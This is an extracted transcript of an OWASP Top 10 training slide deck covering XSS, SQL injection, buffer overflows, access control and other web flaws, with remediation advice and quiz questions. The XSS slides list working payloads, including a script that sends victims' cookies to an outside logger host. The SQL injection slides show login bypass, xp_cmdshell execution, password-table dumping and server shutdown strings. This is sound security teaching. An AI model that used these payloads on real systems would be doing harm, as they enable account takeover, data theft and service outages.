The OWASP Top 10 - isacantx.org Pre - OWASP Top 10 (Parsons... · Business Impacts of XSS Attackers...

77
The OWASP Top 10

Transcript of The OWASP Top 10 - isacantx.org Pre - OWASP Top 10 (Parsons... · Business Impacts of XSS Attackers...

The OWASP Top 10

2

Top Ten Most Critical Web Application Security Vulnerabilities

Cross-site scripting (XSS) Injection flaws Unvalidated input Buffer overflow

Error handling

Broken authentication and

session management

Broken access control Insecure storage

Denial of service Insecure

configuration management

http://www.owasp.org/index.php/Top_Ten

Cross-Site Scripting (XSS)

• Raw data from attacker is sent to an innocent user

Occurs any time…

• Stored in database • Reflected from web input (form field, hidden field, url, etc…) • Sent directly into rich JavaScript client

Raw data…

• Try this in your browser – javascript:alert(document.cookie)

Virtually every web application has this problem

Stored Cross-Site Scripting Illustrated

Application with stored XSS vulnerability

3

2

Attacker sets the trap – update my profile

Attacker enters a malicious script into a web page that stores the data on the server

1

Victim views page – sees attacker profile

Script silently sends attacker Victim’s session cookie

Script runs inside victim’s browser with full access to the DOM and cookies

Custom Code

Acco

unts

Fi

nanc

e Ad

min

istr

atio

n Tr

ansa

ctio

ns

Com

mun

icat

ion

Kno

wle

dge

Mgm

t E-

Com

mer

ce

Bus

. Fun

ctio

ns

http://www.boi.com Search-field input is often reflected back to user.

<script>alert(document.cookie)</script>

Site reflects the script back to user where it executes and displays the session cookie in a pop-up.

Reflected Cross Site Scripting Illustrated

Cross Site Scripting Attacks <style TYPE="text/css">@import url(javascript:alert('Javascript is executed'));</style>

<STYLE type=text/css>@import url(http://www.test.com);</STYLE>

<LINK REL=STYLESHEET TYPE="text/javascript" SRC="javascript_path.js">

<P STYLE="left:expression(eval('alert(\'JavaScript is executed\');window.close()'))" >

<LAYER SRC="js.html"></LAYER> -- also ILAYER, FRAME, IFRAME – use to execute remote JavaScript

<IMG SRC="&{javascript_expression};">

<IMG SRC="&{alert('alert')};">

'about:<script>alert();</script>' -- alternate form of script piece

<IMG src="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;%61%6C%65%72%74%28%29%3B"> -- resolves to 'javascript.alert()'

Cross Site Scripting Attacks <script>alert('bang!');</script> // basic xss

<SCRIPT SRC="http://xss.ha.ckers.org/xss.js></SCRIPT>

<IMG SRC "foo.jpg" <BODY ONLOAD=alert(‘xss’)>> // no script/javascript

<IMG SRC="javascript:alert('test');">

<IMG SRC="livescript:js_expression">

<IMG SRC="java&#010;script:js_expression">

<IMG SRC="java&#X0A;script:js_expression">

<IMG SRC="java&#000009;script:js_expression">

<style TYPE="text/javascript">JS EXPRESSION</style>

<style TYPE="text/javascript">alert(document.domain);</style>

<STYLE TYPE="application/x-javascript">alert('JavaScript has been Executed');</STYLE>

<script>document.location='http://www.hacker.org/logger.php?cookie= '+document.cookie</script>

XSS Example

• http://vimeo.com/7987114

Business Impacts of XSS

Attackers can…

• Steal user sessions for complete account takeover

• Steal data on web pages viewed by victim

• Deface pages viewed by victim

• Monitor pages viewed by victim

• *NEW* Scan victim’s intranet

Business consequences

• Washington Post story (NSA and many others)

• Loss of customer confidence

Finding and Fixing XSS

Verify your architecture

Be sure there’s a plan for input validation and encoding

Be sure it covers all input

Be sure it uses a positive security model

You’ll need a validation library

Positive validation methods for all untrusted data fields

HTML entity encoding method (e.g. &lt; &gt; &apos;)

Verify the implementation

Static and dynamic tools have spotty coverage here

Search for calls that take input from untrusted sources

Verify the use of input validation and encoding

Use WebScarab to test the implementation

Techniques for Verifying Service Use

Vulnerability Scanning

Static Analysis

Penetration Testing

Code Review

http://vimeo.com/8812145

Setting Up a Proxy in IE

OWASP WebScarab–A Web Application Testing Proxy

Enable

Example Intercept Window

You cannot write secure web applications or web services

without a way to perform security tests

http://vimeo.com/8629442

Using Eclipse for Code Review

•Syntax highlighting •Code browsing

•Static Analysis

•Powerful Search Tools

•Security Help

Injection Flaws

Injection means…

Tricking an application into

including unintended

commands in the data sent to an interpreter

Interpreters…

Take strings and interpret them as commands

SQL, OS Shell, LDAP, XPath,

etc…

SQL injection is still quite common

Many applications

still susceptible

Bobby Tables

SQL Injection Indirect attacks or SQL Injection

•One of the most common attacks on database applications is a SQL injection. During this attack malicious code is entered into web form fields to make a system execute a command shell or other code.

• It can be used to bypass authorization, retrieve unauthorized data and alter data on database systems.

Here is an example of code used on a web application.

•username=‘johndoe’ and password=‘anonymous’ • So what would happen if the inputted data were itself a single quote?

If you get this error, then you can attempt SQL injection attacks. Microsoft OLE DB Provider for ODBC Drivers

error ‘80040e14’ ([Microsoft][ODBC Microsoft Access Driver] Extra ) In query expression ‘UserID=’’’ AND Password =‘’ /_tblemployees/login3.asp, line 49

Why SQL “Injection”? • This is an example of code that may be running on the SQL server:

• SELECT name, phone, address, bank_details FROM tblLogins WHERE • name = ‘ ‘ AND password =‘ ‘;

• The white boxes refer to the user input fields on the database front end although

it is actually a variable containing some value.

• SELECT name, phone, address, bank_details FROM tblLogins WHERE • name = ‘ & varname & ‘ AND password =‘ & varpassword & ‘;

• The data you enter into the user input field is being used to build the complete

SQL statement, but an attacker may not enter a username and password!

• By entering (injecting) a positive statement like ‘ OR 1=1;-- you can bypass the login authorization!

Why SQL “Injection”? • Select name, phone, address, bank_details FROM tblLogins WHERE • name = ‘ ’ OR 1=1;-- AND password =‘ ‘;

• What does it all mean?

– ‘ - Closes the user input variable. – OR - Continues the SQL statement. – 1=1 - A true statement. – ; - Finishes the statement. – -- - Comments the rest of the line so that is doesn’t get

processed.

• The server wants a balance between the value name and the user input. • We give it 1=1 so that is ‘sees’ a balance and logs us on as the first account

in the table. • SQL Injection has other possibilities as we will see shortly.

SQL Connection Properties Every connection to a database has properties assigned to it, this includes web front ends. The page itself has to authenticate.

Username and Password are two of the properties.

These properties determine the level of privileges that a user connects with and therefore what privileges your SQL statements are processed as.

SQL Injection: Enumeration Table and Field Name Enumeration.

SELECT FName, LName, EmpID FROM Emp WHERE City = ‘

’; SELECT name FROM syscolumns WHERE xtype=‘U’;--’

This will inject the code in red, which will retrieve the name of any user created columns throughout the whole table.

SQL Injection: Enumeration

The screenshot to the right is taken from Foundstone’s HacmeBank application and shows the use of verbose error messages to enumerate information about tables and columns.

SELECT name FROM logins WHERE name='' HAVING 1=1;-- AND password ='';

By using the ‘HAVING’ SQL command, an attacker can generate an error from every recordset.

The use of verbose error messages can be very effective, especially if those error messages give away extra information.

Other avenues are open to an attacker to enumerate information from a target database system.

SQL Extended Stored Procedures

• Extended stored procedures allow the database server to perform powerful actions such as communicate with the OS.

• There are several extended stored procedures that can cause permanent damage to a system.

• We can execute an extended stored procedure using any input form with an injected command:

• webpage.asp?city=edinburgh ';EXEC master.dbo.xp_cmdshell 'iisreset' ; -- – Username: ' ; EXEC master.dbo.xp_cmdshell 'iisreset' ; -- – Password:

• This executes the xp_cmdshell stored procedure and passes a DOS type

command to the operating system. • MS SQL Server, by default, runs under an admin level service account!

SQL Extended Stored Procedures • sp_makewebtask

– ‘; exec sp_makewebtask ‘c:\inetpub\wwwroot\out.htm’, ‘Select name, password FROM master.dbo.sysxlogins’

Shutting Down SQL Server • One of SQL Server's most powerful commands is SHUTDOWN

WITH NOWAIT, which causes it to shutdown, immediately stopping the Windows service. – Username: ' ; shutdown with nowait; -- – Password:

• This can happen if the SQL command runs the following

query: • SELECT username FROM users WHERE username='; shutdown

with nowait;- -' and password=' ';

Business Impacts of SQL Injection

• Access the entire database schema • Steal, modify, and delete database contents • Prevent legitimate access to the database • Run operating system commands on database server • Disclose company proprietary data

Attackers can…

• Wall Street Journal story • FTC prosecution (Guess Jeans, PETCO)

Business consequences

Finding and Fixing SQL Injection

Verify your architecture

Use a component or strict pattern for database

queries

Stored procedures provide only limited

protection

Use validation and parameterized

queries

Validation detects attacks

Parameterized queries prevent the damage

Verify the implementation

Static analysis tools with data flow analysis getting

good at this

Search for calls that invoke the database

Verify that validation and parameterized queries are

used

Make sure the queries are actually parameterized

Unvalidated Input

Architectural issue

Solving any single validation problem is

simple

Creating an architecture that prevents problems

is hard

Create a library for validation and encoding

Make it the only way for developers to access

raw input

Use “positive” or “whitelist” validation

Leading indicator of attacks in progress

Virtually all applications let attackers attack

forever without detecting they are

under attack

Business Impacts of Unvalidated Input

Attackers can…

Destroy your application’s integrity

Embed attacks in your data

Trick you into forwarding attacks to other systems

Use errors to learn how to attack better

Business consequences

Sarbanes-Oxley

More vulnerabilities

Extra expense constantly fixing and re-fixing input

problems

Finding and Fixing Unvalidated Input

• Do you have requirements and architecture for validation? • Do developers have a clear guideline on how to do it?

Verify your architecture

• Don’t create maintenance problems

Validation needs to be pretty close to use

• No tool support finding architecture-level issues • Verify validation is done on all input • Don’t allow blacklists

Verify the implementation

Buffer Overflows

A buffer overflow occurs when… • User input overflows the end of a buffer and overwrites the

stack • Can be used to execute arbitrary code

All time vulnerability leader • We’ve understood this problem for 30 years • Only diminishing now because Java and .NET aren’t susceptible

Web applications • Web applications read all types of input from users • …and pass to apps, DLL’s, native code, operating system, etc…

Buffer Overflow Illustrated

0x00000000 0x08048000 code

static data

bss

heap

shared library

stack

kernel space

0x42000000

0xC0000000

0xFFFFFFFF

From Dawn Song’s RISE: http://research.microsoft.com/projects/SWSecInstitute/slides/Song.ppt

argument 2

argument 1

return address frame pointer

locals

buffer Attack code

Address of Attack code

Business Impacts of Buffer Overflows

Completely compromise a web server

Launch additional attacks from compromised machine

Install rootkit

Attackers can… Complete loss of

control of application and all data

Difficult forensics and incident recovery

Negligence lawsuit?

Business conse-

quences

Finding and Fixing Buffer Overflows

Verify your architecture •Avoid the use of C and C++

directly and indirectly •Beware native calls, JNI,

.NET unmanaged code, exec

Use static analysis tools •These bugs can be

extremely difficult to find and eliminate

Verify the implementation •Static analysis tools

getting good at this problem

•Use safe string libraries correctly

•Keep up with patches

Improper Error Handling

•Frequently this invokes untested code paths •Attackers learn your application through error

messages

Web applications encounter error

conditions

•Never show a user a stack trace • If someone is attacking you, don’t keep trying to help •But how do you know which errors are attacks?

Identify attacks and handle

appropriately

•Especially when you use a tool like WebScarab Most web applications are

quite fragile

Improper Error Handling Illustrated

• isAuthenticated() • isAuthorized() • isValid()

Many security mechanisms fail open

• if (!security test()) then return false • return true

Bad logic

• if (security test()) then return true • return false

Good logic

Business Impacts of Improper Error Handling

Attackers can…

• Bypass security mechanisms

• Deny service • Learn information

about your application

Business consequences

• Lack of detection allows attackers to attack until success

• Prevents legal response to successful attack

Finding and Fixing Improper Error Handling

• Do you have a hierarchy of security exception types • Do you track exceptions by user?

Verify your architecture

• Create guideline with a pattern for handling security errors

• Must address errors in all security mechanisms

Establish a pattern for your

project

• Dynamic and static tools find the trivial problems • Search for stack trace printing and empty catch blocks • Use WebScarab to test the implementation

Verify the implementation

Broken Authentication and Session Mgmt

HTTP is “stateless”

protocol

Means credentials have to go with every request

Should use SSL for everything requiring

authentication

Session management

SESSIONID used to track state since HTTP doesn’t

SESSIONID is just as good as credentials to

an attacker

Never expose SESSIONID on network, in browser,

in logs, …

Beware the side-doors

Change my password, remember my

password, forgot my password, secret

question, logout, email address, etc…

http://vimeo.com/17196966

Broken Authentication Illustrated

http://www...

Custom Code

Acco

unts

Fi

nanc

e Ad

min

istr

atio

n Tr

ansa

ctio

ns

Com

mun

icat

ion

Kno

wle

dge

Mgm

t E-

Com

mer

ce

Bus

. Fun

ctio

ns 1 User sends

credentials

2 Site uses URL rewriting (i.e., put session in URL)

3 User clicks on a link to http://www.hacker.com in a forum

www.boi.com?JSESSIONID=9FA1DB9EA...

4 Hacker checks referer logs on www.hacker.com

and finds user’s JSESSIONID

5 Hacker uses JSESSIONID and takes over victim’s account

Business Impacts of Broken Authentication

Hijack other user’s accounts

Do anything that user can do

Attackers can…

Lack of accountability

Wall Street Journal story

Privacy compliance violations

Business conse-

quences

Finding and Fixing Broken Authentication

Verify your architecture

• Authentication should be simple and centralized

• Use the standard session id provided by your container

• Be sure SSL protects both credentials and session id

Verify the implementation

• Forget automated approaches

• Check your SSL certificate • Examine all the

authentication-related functions

• Verify that logoff actually destroys the session

• Use WebScarab to test the implementation

Broken Access Control

• Many people call this “authorization”

How do you control what users can see and do?

• Can this person access the site at all? • Can they access this URL? • Can they invoke this function? With these parameters? • Can they access this data? • Should they see the link to this resource or function?

Many levels of access control needed

• Flaws totally invisible to scanners

Unique for each site and role

Broken Access Control Illustrated

Attacker notices the URL indicates his role • /user/getAccounts

He modifies it to another directory (role) • /admin/getAccounts, or • /manager/getAccounts

Attacker views more accounts than just their

own

Where Does Access Control Typically Occur?

In the environment… • Web server, app server, or filter (e.g., SiteMinder)

enforces URL control

…And in the controller • Code decides whether to invoke a business function

…And in the business logic • Code decides whether to invoke a function or show

data

…And in the data layer • Code decides what data to show

…And in the presentation layer • Code decides whether to show links, menus,

buttons, forms, data

Environment

Controller

Business Logic

Data Layer

Presentation Layer

User Browser

Business Impacts of Broken Access Control

•Access other user’s accounts •Access data they’re not authorized for • Invoke functions they’re not authorized for • Search for temporary report files • Search for files not intended to be accessed in production •Affect other user’s accounts

Attackers can…

•Wall Street Journal story • FTC prosecution

Business consequences

Finding and Fixing Broken Access Control

• Use a simple, positive model at every layer • Be sure you actually have a mechanism at every layer

Verify your architecture

• The fact that there’s no button or link won’t stop a hacker

Beware of presentation layer

access control

• Forget automated approaches • Verify the control flow in the code to ensure checks • Use WebScarab to forge unauthorized requests

Verify the implementation

Insecure Storage

Storing sensitive data insecurely • Identify all sensitive data • Identify all the places that sensitive data is located • Identify all the connections that sensitive data

traverses

Protect with appropriate mechanisms • File encryption, database encryption, access control,

SSL

Insecure Storage Illustrated

Custom Code

Acco

unts

Fi

nanc

e Ad

min

istr

atio

n Tr

ansa

ctio

ns

Com

mun

icat

ion

Kno

wle

dge

Mgm

t E-

Com

mer

ce

Bus

. Fun

ctio

ns 1

User enters credit card number in form

2 Error handler logs CC details because

merchant gateway is unavailable

4 Malicious insider steals 40 million credit card numbers

Log files

3 Logs are accessible to all members of IT staff for debugging

purposes

http://vimeo.com/8054415

Business Impacts of Insecure Storage

• Access confidential or private information

• Extract secrets to use in additional attacks

Attackers can…

• Privacy lawsuit from EPIC • Customer dissatisfaction

and loss of trust • PCI standard violation

(e.g., lose ability to process CCs)

• http://www.privacyrights.org/ar/ChronDataBreaches.htm

Business consequences

Finding and Fixing Insecure Storage

• Identify all sensitive data • Identify all the places that data is stored • Ensure threat model accounts for possible

attacks

Verify your architecture

• Forget automated approaches • Encryption is tricky – use standard mechanisms • Choose the right algorithm • Store keys, certificates, and passwords carefully • Analyze encryption code for common flaws

Verify the implementation

Application Denial of Service

Reliance on applications • The more we rely, the more we demand availability

Denial of service attacks • Attempt to block or interfere with the use of an application • Called “floods” and “lockouts”

How do you tell the difference… • Between legitimate users and a distributed DOS attack

Application DOS Illustrated

Custom Code

Acco

unts

Fi

nanc

e Ad

min

istr

atio

n Tr

ansa

ctio

ns

Com

mun

icat

ion

Kno

wle

dge

Mgm

t E-

Com

mer

ce

Bus

. Fun

ctio

ns 1

Attacker overloads some limited resource

2 Database connection pool exhausted 3 Legitimate user’s

request is rejected

Database

Business Impacts of Application DOS

Attackers can…

Prevent legitimate users from

accessing data

Interfere with business functions

Business consequences

Wall Street Journal story

Undermined confidence in

services

Expensive response, forensics,

and remediation

Finding and Fixing Application DOS

Verify your architecture • Analyze limited

resources for possible exhaustion

• Try to cache everything before authentication

Be sure to authenticate before spending resources • Then you can block

offending users

Verify the implementation • Forget automated

approaches • Like performance

testing, but malicious! • Review the code for

possible resource exhaustion

Insecure Configuration Management

• All through the network and platform • Don’t forget the development environment

Web applications rely on a secure foundation

• Think of all the places your source code goes • Security does not require secret source code

Is your source code a secret?

• All credentials should change in production

CM must extend to all parts of the application

Hardened OS

Web Server

App Server

Framework

Insecure Configuration Illustrated

App Configuration

Custom Code

Acco

unts

Fi

nanc

e Ad

min

istr

atio

n Tr

ansa

ctio

ns

Com

mun

icat

ion

Kno

wle

dge

Mgm

t E-

Com

mer

ce

Bus

. Fun

ctio

ns

Test Servers

QA Servers

Source Control

Development

Database

Insider

Business Impacts of Insecure Configuration

Gain control of your entire application and data

Install backdoor for future access

Use platform as a launching point for other attacks

Attackers can… Expensive

forensics and remediation

Business conse-

quences

Finding and Fixing Insecure Configuration

Verify your CM

• Secure configuration “hardening” guideline

• Must cover entire platform and application

• Analyze security effects of changes

Can you “dump” the application

configuration

• Build reporting into your process

• If you can’t check it, it isn’t secure

Verify the implementation

• Scanning finds generic configuration problems

Where to Learn More

What best describes a buffer over flow.

Memory management issues with memory heap space Injected SQL commands Malicious script on the server None of the above

What best describes a buffer over flow. Memory management issues

True or False. Stored Cross Site Scripting is reflected back to the browser

True or False. Stored Cross Site Scripting is reflected back to the browser False

All of the following are good to prevent SQL injection except.

Prepared Statements Parameterized Queries Black list validation White List Validation

All of the following are good to prevent SQL injection except.

Black list validation

Review

Cross-site scripting (XSS) Injection flaws Unvalidated input Buffer overflow

Error handling

Broken authentication and

session management

Broken access control Insecure storage

Denial of service Insecure

configuration management

http://www.owasp.org/index.php/Top_Ten